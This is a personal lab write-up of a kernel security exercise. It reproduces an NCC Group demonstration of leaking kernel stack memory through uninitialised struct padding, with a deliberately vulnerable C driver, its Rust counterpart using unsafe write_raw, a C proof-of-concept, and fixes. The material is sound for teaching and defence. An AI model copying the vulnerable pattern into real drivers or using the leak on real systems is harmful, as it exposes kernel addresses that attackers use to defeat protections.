Rustproofing - Leaking Addresses


This is actually the very first time I dig into Kernel PWN LOL

Since Kernel Version 6.1, Rust support has been merged into Linux.

Environment

We first create a new directory for this project.

mkdir rustproofing-linux
cd rustproofing-linux

rustproofing-linux

This is the source code of our exploit

git clone https://github.com/nccgroup/rustproofing-linux.git

Rust-for-Linux

The source code of Rust-for-linux, we checkout to the latest commit for stability.

git clone https://github.com/Rust-for-Linux/linux rust-for-linux # 4G around
cd rust-for-linux
git checkout bd123471269354fdd504b65b1f1fe5167cb555fc  # latest commit at the point of writing
cd ..

But before that, make sure all the dependencies are installed.

See linux/quick-start.rst at rust · Rust-for-Linux/linux for details.

virtme

For convenience, we build virtme up.

simply clone it, and we’re done.

git clone https://github.com/amluto/virtme

-watchdog is deprecated in qemu 7.2.0, modify it to -device i6300esb -action watchdog=pause .

vim ..virtme/virtme/architectures.py
    @staticmethod
    def qemuargs(is_native):
        ret = Arch.qemuargs(is_native)

        # Add a watchdog.  This is useful for testing.
        ret.extend(['-device', 'i6300esb', '-action', 'watchdog=pause'])
        """ Modified from `ret.extend(['-watchdog', 'i6300esb'])`"""

        if is_native and os.access('/dev/kvm', os.R_OK):
            # If we're likely to use KVM, request a full-featured CPU.
            # (NB: if KVM fails, this will cause problems.  We should probe.)
            ret.extend(['-cpu', 'host'])  # We can't migrate regardless.

        return ret

Compile the kernels

cd rust-for-linux
mkdir `pwd`.out
cp ../rustproofing-linux/configs/config-base `pwd`.out/.config
KBUILD_OUTPUT=`pwd`.out make -j$(nproc) LLVM=1

image-20230217154242780

compile drivers

in rustproofing-linux folder

make

If everything goes well, which means, your previous environments built perfectly., you should be able to see *.ko files in this folder and ELF files in poc folder.

Congratulations! The environment is set.

This takes me more than 5 hours though lol

start virtme

../virtme/virtme-run --kdir `pwd`/../rust-for-linux.out --show-command --show-boot-console --mods=auto -a "kasan_multi_shot" --qemu-opts -cpu core2duo -m 1G -smp 2

use PoC

in PoC folder, we have a file called test.sh which allows us to test our PoC

usage:

test.sh module_name[fixed]
# equals to
#	insmod ../vuln_printk_leak.ko
#	./poc_vuln_printk_leak
#	rmmod ../vuln_printk_leak.ko

example:

test.sh vuln_printk_leak

Leaking stack contents

While CONFIG_INIT_STACK_NONE=y is set, we can actually leak kernel memory address by initializing a struct without filling all of its members.

Let’s load an example driver to demonstrate this. ( in C )

struct vuln_info {
	u8 version;
	u64 id;
	u8 _reserved;
};

#define VULN_GET_INFO _IOR('v', 2, struct vuln_info)


static long vuln_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
	struct vuln_info info;

	switch (cmd) {
	case VULN_GET_INFO:
		info = (struct vuln_info) {
			.version = 1,
			.id = 0x1122334455667788,
		};
		if (copy_to_user((void __user *)arg, &info, sizeof(info)) != 0)
			return -EFAULT;
		return 0;
	}

	pr_err("error: wrong ioctl command: %#x\n", cmd);
	return -EINVAL;
}

We have defined a struct with 3 members but have only initialized 2 of its members.

And now let’s see our PoC.

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>


#define u8 unsigned char
#define u64 unsigned long long

struct vuln_info {
	u8 version;
	u64 id;
	u8 _reserved;
};

#define VULN_GET_INFO _IOR('v', 2, struct vuln_info)


int main(int argc, char **argv)
{
	int fd = open("/dev/vuln_stack_leak", O_RDWR);
	if (fd < 0) {
		perror("open error");
		return -1;
	}

	struct vuln_info info = { 0 };

	if (ioctl(fd, VULN_GET_INFO, &info) < 0)
		perror("ioctl");

	struct vuln_info expected;
	memset(&expected, 0, sizeof(expected));
	expected = (struct vuln_info) {
		.version = 1,
		.id = 0x1122334455667788,
	};

	int i;
	u64 *info_ptr = (u64*)&info;
	u64 *exp_ptr = (u64*)&expected;
	for (i=0; i<sizeof(info)/sizeof(u64); i++) {
		if (info_ptr[i] != exp_ptr[i]) {
			printf("value at offset %ld differs: %#llx vs %#llx\n", i*sizeof(u64), info_ptr[i], exp_ptr[i]);
		}
	}

	return 0;
}

It is interesting to explain how we interact with driver, but we’ll talk it in later.

now, let’s take a look at how this driver will leak our kernel memory.

image-20230224132905008

our version was set to 1, but because the struct was not filled with 0 at initial, it actually contains some of the kernel info, and it is leaked while we’re copying the struct to user space.

image-20230224133211571

In Rust

I’m not familiar with Rust, let alone Kernel Rust.

But we can still extract the relevant code from it.

#[repr(C)] // same struct layout as in C, since we are sending it to userspace
struct VulnInfo {
    version: u8,
    id: u64,
    _reserved: u8,
}

        match cmd {
            VULN_GET_INFO => {
                let info = VulnInfo {
                    version: 1,
                    id: 0x1122334455667788,
                    _reserved: 0, // compiler requires an initialiser
                };

                // pointer weakening coercion + cast
                let info_ptr = &info as *const _ as *const u8;
                // SAFETY: "info" is declared above and is local
                unsafe { writer.write_raw(info_ptr, size_of_val(&info))? };

In short, We just simply use unsafe writer.write_raw to replace copy_to_user function in C.

write_raw is unsafe as we programmer have to guarantee the pointer is safe, which is something that we won’t make here.

Let’s try our PoC again

image-20230224134458315

However, comparing with C version, the Rust Version contains unsafe flag to notice our driver programmers to think twice before writing this vulnerable code.

Fixes To This

This problem can be fixed pretty easily:

  • We can unset CONFIG_INIT_STACK_NONE=y or set CONFIG_INIT_STACK_ALL_ZERO=y to let the compiler to fulfill it automatically.

  • Simply using memset before initializing our struct

    In Rust, we can use MaybeUninit porting variation,

    simply add let mut info = MaybeUninit::<VulnInfo>::zeroed(); before initailizing

Reference

Rustproofing Linux (Part 1/4 Leaking Addresses) – NCC Group Research

Table of Contents